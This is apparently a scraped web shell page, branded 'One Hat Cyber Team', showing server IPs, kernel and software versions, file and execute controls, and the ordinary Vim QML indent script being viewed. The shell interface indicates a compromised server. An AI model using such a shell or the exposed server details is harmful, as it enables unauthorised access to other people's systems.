⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
vim
/
vim91
/
indent
/
View File Name :
qml.vim
" Vim indent file " Language: QML " Maintainer: Chase Knowlden
" Last Change: 2024 Jan 24 by Vim Project " " Improved JavaScript indent script. " Indent script in place for this already? if exists("b:did_indent") finish endif let b:did_indent = 1 let b:undo_indent = "setlocal indentexpr< indentkeys<" setlocal indentexpr=s:GetQmlIndent() setlocal indentkeys=0{,0},0),0],:,!^F,o,O,e,*
,=*/ " Only define functions once per session if exists("*s:GetQmlIndent") finish endif " Clean up a line of code by removing trailing '//' and '/* */' comments, and trimming " whitespace function! s:Trim(line) return substitute(substitute(substitute(a:line, '// .*', '', ''), '/\* .* \*/', '', ''), '^\s*\|\s*$', '', 'g') endfunction function! s:GetQmlIndent() let num = v:lnum let line = s:Trim(getline(num)) let pnum = prevnonblank(num - 1) if pnum == 0 return 0 endif let pline = s:Trim(getline(pnum)) let ind = indent(pnum) " bracket/brace/paren blocks if pline =~ '[{[(]$' let ind += shiftwidth() endif if line =~ '^[}\])]' let ind -= shiftwidth() endif " '/*' comments if pline =~ '^/\*.*\*/' " no indent for single-line form elseif pline =~ '^/\*' let ind += 1 elseif pline =~ '^\*/' let ind -= 1 endif return ind endfunction